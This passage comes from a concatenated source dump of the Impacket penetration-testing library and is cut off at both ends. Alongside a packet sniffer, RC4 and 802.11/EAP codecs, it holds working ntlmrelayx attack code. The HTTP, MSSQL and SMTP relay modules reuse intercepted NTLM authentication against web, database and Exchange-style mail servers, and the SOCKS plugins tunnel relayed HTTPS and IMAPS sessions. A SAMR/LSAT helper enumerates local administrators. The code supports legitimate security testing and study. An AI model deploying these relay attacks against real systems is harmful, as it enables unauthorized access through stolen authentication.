101 | if len(sys.argv) > 1: 102 | filter = ' '.join(sys.argv[1:]) 103 | 104 | main(filter) 105 | -------------------------------------------------------------------------------- /impacket/examples/sniffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Simple packet sniffer. 9 | # 10 | # This packet sniffer uses a raw socket to listen for packets 11 | # in transit corresponding to the specified protocols. 12 | # 13 | # Note that the user might need special permissions to be able to use 14 | # raw sockets. 15 | # 16 | # Authors: 17 | # Gerardo Richarte 18 | # Javier Kohen 19 | # 20 | # Reference for: 21 | # ImpactDecoder. 22 | 23 | from select import select 24 | import socket 25 | import sys 26 | 27 | from impacket import ImpactDecoder 28 | 29 | DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp') 30 | 31 | if len(sys.argv) == 1: 32 | toListen = DEFAULT_PROTOCOLS 33 | print("Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s [proto2] ..." % sys.argv[0]) 34 | else: 35 | toListen = sys.argv[1:] 36 | 37 | # Open one socket for each specified protocol. 38 | # A special option is set on the socket so that IP headers are included with 39 | # the returned data. 40 | sockets = [] 41 | for protocol in toListen: 42 | try: 43 | protocol_num = socket.getprotobyname(protocol) 44 | except socket.error: 45 | print("Ignoring unknown protocol:", protocol) 46 | toListen.remove(protocol) 47 | continue 48 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) 49 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 50 | sockets.append(s) 51 | 52 | if 0 == len(toListen): 53 | print("There are no protocols available.") 54 | sys.exit(0) 55 | 56 | print("Listening on protocols:", toListen) 57 | 58 | # Instantiate an IP packets decoder. 59 | # As all the packets include their IP header, that decoder only is enough. 60 | decoder = ImpactDecoder.IPDecoder() 61 | 62 | while len(sockets) > 0: 63 | # Wait for an incoming packet on any socket. 64 | ready = select(sockets, [], [])[0] 65 | for s in ready: 66 | packet = s.recvfrom(4096)[0] 67 | if 0 == len(packet): 68 | # Socket remotely closed. Discard it. 69 | sockets.remove(s) 70 | s.close() 71 | else: 72 | # Packet received. Decode and display it. 73 | packet = decoder.decode(packet) 74 | print(packet) 75 | -------------------------------------------------------------------------------- /impacket/impacket/Dot11Crypto.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: 8 | # IEEE 802.11 Network packet codecs. 9 | # 10 | # Author: 11 | # Gustavo Moreira 12 | 13 | class RC4(): 14 | def __init__(self, key): 15 | bkey = bytearray(key) 16 | j = 0 17 | self.state = bytearray(range(256)) 18 | for i in range(256): 19 | j = (j + self.state[i] + bkey[i % len(key)]) & 0xff 20 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 21 | 22 | def encrypt(self, data): 23 | i = j = 0 24 | out=bytearray() 25 | for char in bytearray(data): 26 | i = (i+1) & 0xff 27 | j = (j+self.state[i]) & 0xff 28 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 29 | out.append(char ^ self.state[(self.state[i] + self.state[j]) & 0xff]) 30 | 31 | return bytes(out) 32 | 33 | def decrypt(self, data): 34 | # It's symmetric 35 | return self.encrypt(data) 36 | -------------------------------------------------------------------------------- /impacket/impacket/Dot11KeyManager.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: 8 | # IEEE 802.11 Network packet codecs. 9 | # 10 | # Author: 11 | # Gustavo Moreira 12 | 13 | from array import array 14 | class KeyManager: 15 | def __init__(self): 16 | self.keys = {} 17 | 18 | def __get_bssid_hasheable_type(self, bssid): 19 | # List is an unhashable type 20 | if not isinstance(bssid, (list,tuple,array)): 21 | raise Exception('BSSID datatype must be a tuple, list or array') 22 | return tuple(bssid) 23 | 24 | def add_key(self, bssid, key): 25 | bssid=self.__get_bssid_hasheable_type(bssid) 26 | if bssid not in self.keys: 27 | self.keys[bssid] = key 28 | return True 29 | else: 30 | return False 31 | 32 | def replace_key(self, bssid, key): 33 | bssid=self.__get_bssid_hasheable_type(bssid) 34 | self.keys[bssid] = key 35 | 36 | return True 37 | 38 | def get_key(self, bssid): 39 | bssid=self.__get_bssid_hasheable_type(bssid) 40 | if bssid in self.keys: 41 | return self.keys[bssid] 42 | else: 43 | return False 44 | 45 | def delete_key(self, bssid): 46 | bssid=self.__get_bssid_hasheable_type(bssid) 47 | if not isinstance(bssid, list): 48 | raise Exception('BSSID datatype must be a list') 49 | 50 | if bssid in self.keys: 51 | del self.keys[bssid] 52 | return True 53 | 54 | return False 55 | -------------------------------------------------------------------------------- /impacket/impacket/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2003-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Author: Alberto Solino (@agsolino) 8 | # 9 | 10 | # Set default logging handler to avoid "No handler found" warnings. 11 | import logging 12 | try: # Python 2.7+ 13 | from logging import NullHandler 14 | except ImportError: 15 | class NullHandler(logging.Handler): 16 | def emit(self, record): 17 | pass 18 | 19 | # All modules inside this library MUST use this logger (impacket) 20 | # It is up to the library consumer to do whatever is wanted 21 | # with the logger output. By default it is forwarded to the 22 | # upstream logger 23 | 24 | LOG = logging.getLogger(__name__) 25 | LOG.addHandler(NullHandler()) 26 | -------------------------------------------------------------------------------- /impacket/impacket/dcerpc/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/impacket/dcerpc/v5/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/impacket/dcerpc/v5/dcom/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/impacket/eap.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: 8 | # EAP packets 9 | # 10 | # Author: 11 | # Aureliano Calvo 12 | 13 | 14 | from impacket.helper import ProtocolPacket, Byte, Word, Long, ThreeBytesBigEndian 15 | 16 | DOT1X_AUTHENTICATION = 0x888E 17 | 18 | class EAPExpanded(ProtocolPacket): 19 | """EAP expanded data according to RFC 3748, section 5.7""" 20 | 21 | WFA_SMI = 0x00372a 22 | SIMPLE_CONFIG = 0x00000001 23 | 24 | header_size = 7 25 | tail_size = 0 26 | 27 | vendor_id = ThreeBytesBigEndian(0) 28 | vendor_type = Long(3, ">") 29 | 30 | class EAPR(ProtocolPacket): 31 | """It represents a request or a response in EAP (codes 1 and 2)""" 32 | 33 | IDENTITY = 0x01 34 | EXPANDED = 0xfe 35 | 36 | header_size = 1 37 | tail_size = 0 38 | 39 | type = Byte(0) 40 | 41 | class EAP(ProtocolPacket): 42 | REQUEST = 0x01 43 | RESPONSE = 0x02 44 | SUCCESS = 0x03 45 | FAILURE = 0x04 46 | 47 | header_size = 4 48 | tail_size = 0 49 | 50 | code = Byte(0) 51 | identifier = Byte(1) 52 | length = Word(2, ">") 53 | 54 | class EAPOL(ProtocolPacket): 55 | EAP_PACKET = 0x00 56 | EAPOL_START = 0x01 57 | EAPOL_LOGOFF = 0x02 58 | EAPOL_KEY = 0x03 59 | EAPOL_ENCAPSULATED_ASF_ALERT = 0x04 60 | 61 | DOT1X_VERSION = 0x01 62 | 63 | header_size = 4 64 | tail_size = 0 65 | 66 | version = Byte(0) 67 | packet_type = Byte(1) 68 | body_length = Word(2, ">") 69 | -------------------------------------------------------------------------------- /impacket/impacket/examples/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/impacket/examples/logger.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: This logger is intended to be used by impacket instead 8 | # of printing directly. This will allow other libraries to use their 9 | # custom logging implementation. 10 | # 11 | 12 | import logging 13 | import sys 14 | 15 | # This module can be used by scripts using the Impacket library 16 | # in order to configure the root logger to output events 17 | # generated by the library with a predefined format 18 | 19 | # If the scripts want to generate log entries, they can write 20 | # directly to the root logger (logging.info, debug, etc). 21 | 22 | class ImpacketFormatter(logging.Formatter): 23 | ''' 24 | Prefixing logged messages through the custom attribute 'bullet'. 25 | ''' 26 | def __init__(self): 27 | logging.Formatter.__init__(self,'%(bullet)s %(message)s', None) 28 | 29 | def format(self, record): 30 | if record.levelno == logging.INFO: 31 | record.bullet = '[*]' 32 | elif record.levelno == logging.DEBUG: 33 | record.bullet = '[+]' 34 | elif record.levelno == logging.WARNING: 35 | record.bullet = '[!]' 36 | else: 37 | record.bullet = '[-]' 38 | 39 | return logging.Formatter.format(self, record) 40 | 41 | def init(): 42 | # We add a StreamHandler and formatter to the root logger 43 | handler = logging.StreamHandler(sys.stdout) 44 | handler.setFormatter(ImpacketFormatter()) 45 | logging.getLogger().addHandler(handler) 46 | logging.getLogger().setLevel(logging.INFO) 47 | -------------------------------------------------------------------------------- /impacket/impacket/examples/ntlmrelayx/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/impacket/examples/ntlmrelayx/attacks/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Protocol Attack Base Class definition 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # Defines a base class for all attacks + loads all available modules 15 | # 16 | # ToDo: 17 | # 18 | import os, sys 19 | import pkg_resources 20 | from impacket import LOG 21 | from threading import Thread 22 | 23 | PROTOCOL_ATTACKS = {} 24 | 25 | # Base class for Protocol Attacks for different protocols (SMB, MSSQL, etc) 26 | # Besides using this base class you need to define one global variable when 27 | # writing a plugin for protocol clients: 28 | # PROTOCOL_ATTACK_CLASS = "" 29 | # or (to support multiple classes in one file) 30 | # PROTOCOL_ATTACK_CLASSES = ["", ""] 31 | # These classes must have the attribute PLUGIN_NAMES which is a list of protocol names 32 | # that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 33 | class ProtocolAttack(Thread): 34 | PLUGIN_NAMES = ['PROTOCOL'] 35 | def __init__(self, config, client, username): 36 | Thread.__init__(self) 37 | # Set threads as daemon 38 | self.daemon = True 39 | self.config = config 40 | self.client = client 41 | # By default we only use the username and remove the domain 42 | self.username = username.split('/')[1] 43 | 44 | def run(self): 45 | raise RuntimeError('Virtual Function') 46 | 47 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'attacks'): 48 | if file.find('__') >= 0 or file.endswith('.py') is False: 49 | continue 50 | # This seems to be None in some case (py3 only) 51 | # __spec__ is py3 only though, but I haven't seen this being None on py2 52 | # so it should cover all cases. 53 | try: 54 | package = __spec__.name # Python 3 55 | except NameError: 56 | package = __package__ # Python 2 57 | __import__(package + '.' + os.path.splitext(file)[0]) 58 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 59 | try: 60 | pluginClasses = set() 61 | try: 62 | if hasattr(module, 'PROTOCOL_ATTACK_CLASSES'): 63 | # Multiple classes 64 | for pluginClass in module.PROTOCOL_ATTACK_CLASSES: 65 | pluginClasses.add(getattr(module, pluginClass)) 66 | else: 67 | # Single class 68 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS'))) 69 | except Exception as e: 70 | LOG.debug(e) 71 | pass 72 | 73 | for pluginClass in pluginClasses: 74 | for pluginName in pluginClass.PLUGIN_NAMES: 75 | LOG.debug('Protocol Attack %s loaded..' % pluginName) 76 | PROTOCOL_ATTACKS[pluginName] = pluginClass 77 | except Exception as e: 78 | LOG.debug(str(e)) 79 | -------------------------------------------------------------------------------- /impacket/impacket/examples/ntlmrelayx/attacks/httpattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # HTTP Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # HTTP protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 19 | 20 | PROTOCOL_ATTACK_CLASS = "HTTPAttack" 21 | 22 | class HTTPAttack(ProtocolAttack): 23 | """ 24 | This is the default HTTP attack. This attack only dumps the root page, though 25 | you can add any complex attack below. self.client is an instance of urrlib.session 26 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply 27 | proxy through ntlmrelayx 28 | """ 29 | PLUGIN_NAMES = ["HTTP", "HTTPS"] 30 | def run(self): 31 | #Default action: Dump requested page to file, named username-targetname.html 32 | 33 | #You can also request any page on the server via self.client.session, 34 | #for example with: 35 | self.client.request("GET", "/") 36 | r1 = self.client.getresponse() 37 | print(r1.status, r1.reason) 38 | data1 = r1.read() 39 | print(data1) 40 | 41 | #Remove protocol from target name 42 | #safeTargetName = self.client.target.replace('http://','').replace('https://','') 43 | 44 | #Replace any special chars in the target name 45 | #safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName) 46 | 47 | #Combine username with filename 48 | #fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html' 49 | 50 | #Write it to the file 51 | #with open(os.path.join(self.config.lootdir,fileName),'w') as of: 52 | # of.write(self.client.lastresult) 53 | -------------------------------------------------------------------------------- /impacket/impacket/examples/ntlmrelayx/attacks/mssqlattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # MSSQL Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # MSSQL protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | from impacket import LOG 19 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 20 | 21 | PROTOCOL_ATTACK_CLASS = "MSSQLAttack" 22 | 23 | class MSSQLAttack(ProtocolAttack): 24 | PLUGIN_NAMES = ["MSSQL"] 25 | def run(self): 26 | if self.config.queries is None: 27 | LOG.error('No SQL queries specified for MSSQL relay!') 28 | else: 29 | for query in self.config.queries: 30 | LOG.info('Executing SQL: %s' % query) 31 | self.client.sql_query(query) 32 | self.client.printReplies() 33 | self.client.printRows() 34 | -------------------------------------------------------------------------------- /impacket/impacket/examples/ntlmrelayx/clients/smtprelayclient.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # SMTP Protocol Client 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Description: 14 | # SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange 15 | # 16 | import smtplib 17 | import base64 18 | from struct import unpack 19 | 20 | from impacket import LOG 21 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 22 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 23 | from impacket.ntlm import NTLMAuthChallenge 24 | from impacket.spnego import SPNEGO_NegTokenResp 25 | 26 | PROTOCOL_CLIENT_CLASSES = ["SMTPRelayClient"] 27 | 28 | class SMTPRelayClient(ProtocolClient): 29 | PLUGIN_NAME = "SMTP" 30 | 31 | def __init__(self, serverConfig, target, targetPort = 25, extendedSecurity=True ): 32 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 33 | 34 | def initConnection(self): 35 | self.session = smtplib.SMTP(self.targetHost,self.targetPort) 36 | # Turn on to debug SMTP messages 37 | # self.session.debuglevel = 3 38 | self.session.ehlo() 39 | 40 | if 'AUTH NTLM' not in self.session.ehlo_resp: 41 | LOG.error('SMTP server does not support NTLM authentication!') 42 | return False 43 | return True 44 | 45 | def sendNegotiate(self,negotiateMessage): 46 | negotiate = base64.b64encode(negotiateMessage) 47 | self.session.putcmd('AUTH NTLM') 48 | code, resp = self.session.getreply() 49 | if code != 334: 50 | LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp)) 51 | return False 52 | else: 53 | self.session.putcmd(negotiate) 54 | try: 55 | code, serverChallengeBase64 = self.session.getreply() 56 | serverChallenge = base64.b64decode(serverChallengeBase64) 57 | challenge = NTLMAuthChallenge() 58 | challenge.fromString(serverChallenge) 59 | return challenge 60 | except (IndexError, KeyError, AttributeError): 61 | LOG.error('No NTLM challenge returned from SMTP server') 62 | raise 63 | 64 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 65 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 66 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 67 | token = respToken2['ResponseToken'] 68 | else: 69 | token = authenticateMessageBlob 70 | auth = base64.b64encode(token) 71 | self.session.putcmd(auth) 72 | typ, data = self.session.getreply() 73 | if typ == 235: 74 | self.session.state = 'AUTH' 75 | return None, STATUS_SUCCESS 76 | else: 77 | LOG.error('SMTP: %s' % ''.join(data)) 78 | return None, STATUS_ACCESS_DENIED 79 | 80 | def killConnection(self): 81 | if self.session is not None: 82 | self.session.close() 83 | self.session = None 84 | 85 | def keepAlive(self): 86 | # Send a NOOP 87 | self.session.noop() 88 | -------------------------------------------------------------------------------- /impacket/impacket/examples/ntlmrelayx/servers/__init__.py: -------------------------------------------------------------------------------- 1 | from impacket.examples.ntlmrelayx.servers.httprelayserver import HTTPRelayServer 2 | from impacket.examples.ntlmrelayx.servers.smbrelayserver import SMBRelayServer 3 | -------------------------------------------------------------------------------- /impacket/impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import pkg_resources 4 | 5 | SOCKS_RELAYS = set() 6 | 7 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx.servers', 'socksplugins'): 8 | if file.find('__') >= 0 or file.endswith('.py') is False: 9 | continue 10 | # This seems to be None in some case (py3 only) 11 | # __spec__ is py3 only though, but I haven't seen this being None on py2 12 | # so it should cover all cases. 13 | try: 14 | package = __spec__.name # Python 3 15 | except NameError: 16 | package = __package__ # Python 2 17 | __import__(package + '.' + os.path.splitext(file)[0]) 18 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 19 | pluginClass = getattr(module, getattr(module, 'PLUGIN_CLASS')) 20 | SOCKS_RELAYS.add(pluginClass) 21 | -------------------------------------------------------------------------------- /impacket/impacket/examples/ntlmrelayx/servers/socksplugins/https.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the HTTPS Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed HTTPS connections 14 | # 15 | # ToDo: 16 | # 17 | 18 | from impacket import LOG 19 | from impacket.examples.ntlmrelayx.servers.socksplugins.http import HTTPSocksRelay 20 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 21 | from OpenSSL import SSL 22 | 23 | # Besides using this base class you need to define one global variable when 24 | # writing a plugin: 25 | PLUGIN_CLASS = "HTTPSSocksRelay" 26 | EOL = '\r\n' 27 | 28 | class HTTPSSocksRelay(SSLServerMixin, HTTPSocksRelay): 29 | PLUGIN_NAME = 'HTTPS Socks Plugin' 30 | PLUGIN_SCHEME = 'HTTPS' 31 | 32 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 33 | HTTPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 34 | 35 | @staticmethod 36 | def getProtocolPort(): 37 | return 443 38 | 39 | def skipAuthentication(self): 40 | LOG.debug('Wrapping client connection in TLS/SSL') 41 | self.wrapClientConnection() 42 | if not HTTPSocksRelay.skipAuthentication(self): 43 | # Shut down TLS connection 44 | self.socksSocket.shutdown() 45 | return False 46 | return True 47 | 48 | def tunnelConnection(self): 49 | while True: 50 | try: 51 | data = self.socksSocket.recv(self.packetSize) 52 | except SSL.ZeroReturnError: 53 | # The SSL connection was closed, return 54 | return 55 | # Pass the request to the server 56 | tosend = self.prepareRequest(data) 57 | self.relaySocket.send(tosend) 58 | # Send the response back to the client 59 | self.transferResponse() 60 | -------------------------------------------------------------------------------- /impacket/impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the IMAPS Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed IMAPS connections 14 | # 15 | # ToDo: 16 | # 17 | from impacket import LOG 18 | from impacket.examples.ntlmrelayx.servers.socksplugins.imap import IMAPSocksRelay 19 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 20 | from OpenSSL import SSL 21 | 22 | # Besides using this base class you need to define one global variable when 23 | # writing a plugin: 24 | PLUGIN_CLASS = "IMAPSSocksRelay" 25 | EOL = '\r\n' 26 | 27 | class IMAPSSocksRelay(SSLServerMixin, IMAPSocksRelay): 28 | PLUGIN_NAME = 'IMAPS Socks Plugin' 29 | PLUGIN_SCHEME = 'IMAPS' 30 | 31 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 32 | IMAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 33 | 34 | @staticmethod 35 | def getProtocolPort(): 36 | return 993 37 | 38 | def skipAuthentication(self): 39 | LOG.debug('Wrapping IMAP client connection in TLS/SSL') 40 | self.wrapClientConnection() 41 | try: 42 | if not IMAPSocksRelay.skipAuthentication(self): 43 | # Shut down TLS connection 44 | self.socksSocket.shutdown() 45 | return False 46 | except Exception as e: 47 | LOG.debug('IMAPS: %s' % str(e)) 48 | return False 49 | # Change our outgoing socket to the SSL object of IMAP4_SSL 50 | self.relaySocket = self.session.sslobj 51 | return True 52 | 53 | def tunnelConnection(self): 54 | keyword = '' 55 | tag = '' 56 | while True: 57 | try: 58 | data = self.socksSocket.recv(self.packetSize) 59 | except SSL.ZeroReturnError: 60 | # The SSL connection was closed, return 61 | break 62 | # Set the new keyword, unless it is false, then break out of the function 63 | result = self.processTunnelData(keyword, tag, data) 64 | if result is False: 65 | break 66 | # If its not false, it's a tuple with the keyword and tag 67 | keyword, tag = result 68 | 69 | if tag != '': 70 | # Store the tag in the session so we can continue 71 | tag = int(tag) 72 | if self.idleState is True: 73 | self.relaySocket.sendall('DONE%s' % EOL) 74 | self.relaySocketFile.readline() 75 | 76 | if self.shouldClose: 77 | tag += 1 78 | self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL)) 79 | self.relaySocketFile.readline() 80 | 81 | self.session.tagnum = tag + 1 82 | -------------------------------------------------------------------------------- /impacket/impacket/examples/ntlmrelayx/utils/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/impacket/examples/ntlmrelayx/utils/enum.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Config utilities 8 | # 9 | # Author: 10 | # Ronnie Flathers / @ropnop 11 | # 12 | # Description: 13 | # Helpful enum methods for discovering local admins through SAMR and LSAT 14 | 15 | from impacket.dcerpc.v5 import transport, lsat, samr, lsad 16 | from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED 17 | 18 | 19 | class EnumLocalAdmins: 20 | def __init__(self, smbConnection): 21 | self.__smbConnection = smbConnection 22 | self.__samrBinding = r'ncacn_np:445[\pipe\samr]' 23 | self.__lsaBinding = r'ncacn_np:445[\pipe\lsarpc]' 24 | 25 | def __getDceBinding(self, strBinding): 26 | rpc = transport.DCERPCTransportFactory(strBinding) 27 | rpc.set_smb_connection(self.__smbConnection) 28 | return rpc.get_dce_rpc() 29 | 30 | def getLocalAdmins(self): 31 | adminSids = self.__getLocalAdminSids() 32 | adminNames = self.__resolveSids(adminSids) 33 | return adminSids, adminNames 34 | 35 | def __getLocalAdminSids(self): 36 | dce = self.__getDceBinding(self.__samrBinding) 37 | dce.connect() 38 | dce.bind(samr.MSRPC_UUID_SAMR) 39 | resp = samr.hSamrConnect(dce) 40 | serverHandle = resp['ServerHandle'] 41 | 42 | resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, 'Builtin') 43 | resp = samr.hSamrOpenDomain(dce, serverHandle=serverHandle, domainId=resp['DomainId']) 44 | domainHandle = resp['DomainHandle'] 45 | resp = samr.hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=544) 46 | resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle']) 47 | memberSids = [] 48 | for member in resp['Members']['Sids']: 49 | memberSids.append(member['SidPointer'].formatCanonical()) 50 | dce.disconnect() 51 | return memberSids 52 | 53 | def __resolveSids(self, sids): 54 | dce = self.__getDceBinding(self.__lsaBinding) 55 | dce.connect() 56 | dce.bind(lsat.MSRPC_UUID_LSAT) 57 | resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) 58 | policyHandle = resp['PolicyHandle'] 59 | resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) 60 | names = [] 61 | for n, item in enumerate(resp['TranslatedNames']['Names']): 62 | names.append("{}\\{}".format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'].encode('utf-16-le'), item['Name'])) 63 | dce.disconnect() 64 | return names 65 | -------------------------------------------------------------------------------- /impacket/impacket/examples/ntlmrelayx/utils/ssl.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # SSL utilities 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # Various functions and classes for SSL support: 14 | # - generating certificates 15 | # - creating SSL capable SOCKS protocols 16 | # 17 | # Most of the SSL generation example code comes from the pyopenssl examples 18 | # https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py 19 | # 20 | # Made available under the Apache license by the pyopenssl team 21 | # See https://github.com/pyca/pyopenssl/blob/master/LICENSE 22 | from OpenSSL import crypto, SSL 23 | from impacket import LOG 24 | 25 | # This certificate is not supposed to be exposed on the network 26 | # but only used for the local SOCKS plugins 27 | # therefore, for now we don't bother with a CA and with hosts/hostnames matching 28 | def generateImpacketCert(certname='/tmp/impacket.crt'): 29 | # Create a private key 30 | pkey = crypto.PKey() 31 | pkey.generate_key(crypto.TYPE_RSA, 2048) 32 | 33 | # Create the certificate 34 | cert = crypto.X509() 35 | cert.gmtime_adj_notBefore(0) 36 | # Valid for 5 years 37 | cert.gmtime_adj_notAfter(60*60*24*365*5) 38 | subj = cert.get_subject() 39 | subj.CN = 'impacket' 40 | cert.set_pubkey(pkey) 41 | cert.sign(pkey, "sha256") 42 | # We write both from the same file 43 | with open(certname, 'w') as certfile: 44 | certfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8')) 45 | certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8')) 46 | LOG.debug('Wrote certificate to %s' % certname) 47 | 48 | # Class to wrap the client socket in SSL when serving as a SOCKS server 49 | class SSLServerMixin(object): 50 | # This function will wrap the socksSocket in an SSL layer 51 | def wrapClientConnection(self, 